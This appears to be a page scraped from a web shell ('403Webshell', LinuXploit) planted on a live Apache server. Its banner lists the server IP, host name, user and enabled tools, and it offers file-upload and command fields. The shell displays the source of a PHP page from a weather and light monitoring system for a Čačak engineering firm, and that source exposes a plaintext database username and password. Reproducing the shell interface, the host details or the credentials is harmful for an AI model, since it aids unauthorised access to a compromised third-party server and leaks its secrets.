403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/isvtgrs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/isvtgrs/isvtgrsair_list.php
<!DOCTYPE html>

<html>

<head>

<meta http-equiv="refresh" content="5" />

<title>Untitled Document</title>


</head>

<body style = "text-align: ceneter; background-color: beige;"></body>
<body>
	<table>
		<tr>
			<td><img src="img/vtg.png" alt="Vetroing" style="width:100px;hight:120px"></td>
			<td style = "text-align: center; font-family: Verdana; font-size: 24px; color: green"><b>VETROINŽENJERING<br>Čačak</br></b></td>
		</tr>
	</table>



	<h1 style="color: green; font-family: Verdana; font-size: 24px; text-align: center">INFORMATION SYSTEM FOR MONITORING<br>IN THE GREEN ENERGY SYSTEMS</br></h1>
	<h1 style="color: green; font-family: Verdana; font-size: 36px; text-align: center">ATMOSPHERIC & LIGHT PARAMETERS</h1>
	<h1 style="color: green; font-family: Verdana; font-size: 24px; text-align: center">Tabular view</h1>

<?php

$servername 	= "localhost";
$username 	= "rasintest";
$password	= "testl0zink@";
$dbname		= "isvtg";

// Create connection
	$conn	= new mysqli($servername, $username, $password, $dbname);

// Check connection
	if ($conn -> connect_error) {
		die("Connection failed: " . $conn -> connect_error);
	}

?>
			<table align="center" width="800" font-family="Verdana">
				<tr bgcolor="#008000" style="color:white" align="center">
					<th>Serial number</th>
					<th>Time</th>
					<th>Weather station [ID]</th>
					<th>Atmospheric pressure [mbar]</th>
					<th>Temperature [ºC]</th>
					<th>Relative humidity [%]</th>
					<th>Wind speed [m/s]</th>
					<th>Light level [lux]</th>
				</tr>
<?php
				$id_number = 0;

// Output data of each row
				$sql    = "SELECT * FROM meteovtg_bak ORDER BY TimeDate DESC";
                        	/*$result = $conn -> query($sql);*/
				$result = mysqli_query($conn, $sql);

				while($node_name_row = $result -> fetch_assoc()) {
					$id_number 	= $id_number+1;
					$time 		= $node_name_row['TimeDate'];
					$idvtg		= $node_name_row['IdVtg'];
                                        $pressure 	= $node_name_row['Pressure'];
					$temperature 	= $node_name_row['Temperature'];
					$rel_humidity 	= $node_name_row['Humidity'];
					$windspeed	= $node_name_row['WindSpeed'];
					$light		= $node_name_row['Light'];
					if ($row_color){
						echo "<tr bgcolor=\"#9ad1f8\" align=\"center\">";
					}
					else {
						echo "<tr bgcolor=\"#cee7f9\" align=\"center\">";
					}
					echo "<td>$id_number</td>";
					echo "<td>$time</td>";
					echo "<td>$idvtg</td>";
					echo "<td>$pressure</td>";
					echo "<td>$temperature</td>";
					echo "<td>$rel_humidity</td>";
					echo "<td>$windspeed</td>";
					echo "<td>$light</td>";
				echo "</tr>";
					$row_color = !$row_color;
				}
				echo "</table>";

	$status=0;

	include 'closedbconn.php';
?>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit